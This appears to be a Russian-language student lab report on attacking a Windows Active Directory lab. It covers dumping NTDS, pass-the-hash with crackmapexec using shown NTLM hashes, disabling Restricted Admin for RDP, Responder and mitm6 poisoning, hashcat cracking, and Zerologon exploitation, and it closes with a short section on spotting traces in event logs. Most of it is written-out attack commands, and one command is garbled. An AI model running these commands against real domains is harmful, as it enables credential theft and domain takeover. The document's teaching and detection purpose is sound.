# Windows_Basic-Остапенко_Владимир-Практика-6
## Практическая работа №1 Базовая работа с виртуальной лабораторией
### Задание
1) Провести анализ базы NTDS
2) Выполнить атаку “Path-the-hash”
3) Реализовать атаки на базовые протоколы Windows
---
### Часть 1. Базовые атаки на инфраструктуру Windows
### Этап 1. Анализ базы NTDS
#### 1.1 Бэкап NTDS
Для работы с NTDS, использую консоль, запущенную от имени администратора (на dc1).
Далее, поочерёдно вписываю следующие команды:
```bash
ntdsutil
activate instance ntds
ifm
create full C:\temp
```
Тем самым активируя процесс Install From Media, позволяющий сделать копию NTDS с необходимыми ветками реестра.

> Файлы сохронены в директории **C:\temp**. [color=#3b75c6]
>
>
#### 1.2 Перенос NTDS
Далее, с помощью SMB зайду на сервер Win с Kali c помощью команды:
```bash
smbclient '\\192.168.10.200\C$' -U PT/Administrator
```
После чего скопируем файлы на Kali:
```bash
recurse ON
prompt OFF
lcd /home/user
mget temp
```

:::success
:accept: Файлы скопированы. Успех!
:::
#### 1.3 Анализ NTDS
Для анализа дампа скачаю и установлю impacket:
```bash
git clone https://github.com/SecureAuthCorp/impacket
apt install python3-pip
cd impacket
pip install .
```



Далее из директории impacket перехожу в директорию examples и выполняюю следующую команду:
```bash
python3 secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL
```

:::success
:accept: Скрипт выполнен успешно.
Мы получили много полезной информации, которая пригодится далее.
:::
### Этап 2. Path-the-hash
#### 2.1 Crackmapexec
Для начала проанализирую хосты

:::warning
**192.168.10.200 (dc1)** и **192.168.10.201 (dc2)** - поддерживает SMB протокол.
Так же узнал версию ОС, её имя и имя домена
:::
Теперь попробую выполнить команду от имени администратора на dc1
```bash
crackmapexec smb 192.168.10.200 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 -x whoami
```

:::success
:accept: Успех! Команда выполнена от имени пользователя **pt\administrator**
:::
Так же посмотрим список сетевых папок, доступных конкретному пользователю (на этот раз проверим пользователя ADMPetr):
```bash
crackmapexec smb 192.168.10.201 -u ADMPetr -H aad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128 --shares
```

:::success
:accept: Успех. Получен список сетевых папок, доступных **ADMPetr**
:::
Теперь воспользуюсь утилитой, позволяющей запустить cmd windows для удаленной передачи команд - **smbexec**

::: success
Успех!
:::
#### 2.2 XFreeRDP
Для начала предоставлю удалённый доступ по RDP для администраторов доменана на dc1.


Попробую зайти на dc1. Подтверждаю сертификат

Т.к. действует политика restricted admin, доступ не был получен

Чтобы это справить, изменю параметр реестра на dc1

Была использована следующая команда:
```bash
New-ItemProperty -Path “HKLM:\System\CurrentControlSet\control\Lsa” -Name “DisableRestrictedAdmin” -Value “0” -PropertyType DWORD -Force
```
>Т.к.ранее была включена политика аудита PoSH -- обнаружил выполнение этой команды в Event Viewer
>
После чего, можно спокойно подключиться к dc1 c помощью хеша, используя xfreerdp

### Этап 3. Атаки на базовые протоколы Windows
#### NBT-NS & LLMNR & mDNS
Сначала ознакомлюсь с теорией:
:::info
Важной частью эксплуатации будет WPAD -- специальный протокол для настройки проксирования в системе Win. Система всегда запрашивает файл с настройками wpad.dat, а злоумышленник может подсунуть свой файл, став прокси-серверов для Win и таким образом осуществив атаку "человек посередине".
**NBT-NS** (NetBIOS Name Service) -- протокол, позволяющий компьютерам в локальной сети обращаться друг к другу по именам, не используя сервер DNS.
**LLMNR (Link-Local Multicast Name Resolution)** -- протокол для поиска и преобразования базовых имен внутри небольшой сети. Он же -- сетевое обнаружение. Использует мультикаст (то есть почти как широковещательный трафик, его в сети смогут увидеть все).
**mDNS (Multicast DNS)** -- суть такая же, как и у LLMNR. DNS через Мультикаст.
Все вместе технологии реализуют Zeroconf.
Основная уязвимость в этих протоколах -- отсутствие подтверждения информации. Мы можем сгенерировать любой ответ на запрос ПК по этим протоколам.
:::
После, решил начать со справки утилиты **Responder**, использовав команду:
```bash
responder -h
```

#### Анализ инфраструктуры через Responder
Запускаю анализ **Responder**
```bash
responder -I eth0 -A
```

От имени PC1 обращусь к несуществующему сетевому ресурсу

Анализатор видит LLNMR, NBNS запросы

#### Режим атаки:
Теперь перейду к самой атаке.
```bash
responder -I eth0 -wFv
```
> где: [color=#130000]
> -I eth0 -- выбор интерфейса,
> - w -- отравление WPAD,
> - F -- попробовать принудить систему использовать старые протоколы аутентификации, если возможно,
> - v -- вывод подробной информации (в т.ч. перехваченного хэша).
Запущу **Responder**:

Вновь от pc1 обращусь к несуществующему сетевому ресурсу, и т.к. **Responder** притворяется этим ресурсом, видно окно аутентификации

:::success
:accept: Успех **Responder** перехватывает аутентификационный токен
:::

Теперь из полученого хэша, попробую забрутить пароль. Для перебора паролей воспользуйтесь файлом с **Git**:
```bash
wget https://github.com/duyet/bruteforce-database/blob/master/2151220-passwords.txt
```
Брутить буду с помощью *Hashcat*


:::success
:accept: Пароль был успешно подобран - **Qq123456**. Подбор занял 7 сек.
:::
#### mitm6
Первым делом, устанавливаю **mitm6** (c помщью pip)

#### Выполнение атаки:
Обратим внимание на **настройки сетевого адаптера pc1**. Было:

Kali Linux. Атака:

Настройки сетевого адаптера pc1. После

Сейчас только подменил параметры у win10, обеспечив mitm. Чтобы атака прошла незаметно для пользователя, нужно воспользоваться способом, который позволит прикинуться ресурсом, который требует аутентификацию. Воспользуемся SMB.
Создание своего сервера SMB. Не отключая mitm6, создам SMB сервер:
```bash
python3 smbserver.py -smb2support SMB /root/SMB
```

А на Win10 через проводник зайду в домен

Увидим данные аутентификации в выводе программы

:::success
:accept: **Успех**. Мы получили данные аутентификации.
Ранее уже был вскрыват хэш с помощью *hashcat*, т.к. процедура аналогичная сейчас её повторять не буду.
:::
---
### Заключение
По итогу проделанной работы:
1) Проведён анализ базы NTDS
2) Выполнена атаку “Path-the-hash”
3) Реализованы атаки на базовые протоколы Windows
---
## Практическая работа №6.2 Компрометация доменной Windows-инфраструктуры.
### Задание
1) Провести эксплуатацию уязвимостей контроллера домена
2) Найти следы эксплуатации уязвимостей
---
### Подготовка
#### Активировация политики аудита машинных учетных записей

> Путь до политики:
> **Computer Configuration/Policies/Windows Setting/Security Setting/Advanced Audit Policy Configuration/Audit Policies/Account Managemant** [color=#d21111]
:exclamation: Сразу ввожу команду gpupdate

---
### Часть 2. Эксплуатация уязвимостей контроллера домена
В целях облегчения работы, в качестве репозитория с эксплойтом к уязвимости zerologon, использую предложенный в пракике вариант:
```bash
git clone https://github.com/risksense/zerologon
```

Перехожу в папку с экслойтом и ознакамливаюсь с файлом **README.md**

В этом файле предложена инструкция к использованию эксплойта. Выполню её.

> Команда: [color=#932133]
>```bash
>python3 set_empty_pw.py DC1 192.168.10.200
>```
:::success
:accept: Скрипт обнулил пароль машинной учетной записи контроллера домена.
:::
Следующий этап - дамп NTDS с помощью **secretsdump**. Данный инструмент был скачан раннее в составе пакета пентестерских утилит **impacket**.
Использую следующую команду:
```bash
python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200'
```

С помощью полученных хешей учетных данных можно выполнять команды от любого пользователя. Проверю:

Использую следующую команду:
```bash
python3 secretsdump.py -hashes crackmapexec smb 192.168.10.200 -u ADMPetr -H 05df2fd1109e3d3b60f110965f6af128 -x dir
```
:::success
:accept: Использование команды **dir** от имени **ADMPetr** прошло успешно.
:::
---
### Часть 3. Поиск следов эксплуатации уязвимостей
1) Нашёл ошибку **Netlogon** в журнале System:

2) В журнале Security, есть интересное событие *4742*.

> ANONYMOUS LOGON - уже довольно подозрительный факт
> Ещё в логе видно заполненное поле password last set -- это значит, что пароль был изменён. При легитимном взаимодействии пароль на машинной учетной записи может менять только NETWORK SERVICE. И, если это происходит, генерируется ещё одно событие с id 5823
3) Проверим события с id 5823


Таких событий нет.
Пробую искать события с помощью PowerShell:

---
### Заключение
По итогу проделанной работы:
1) Проведена эксплуатация уязвимостей контроллера домена
2) Найдены следы эксплуатации уязвимостей
---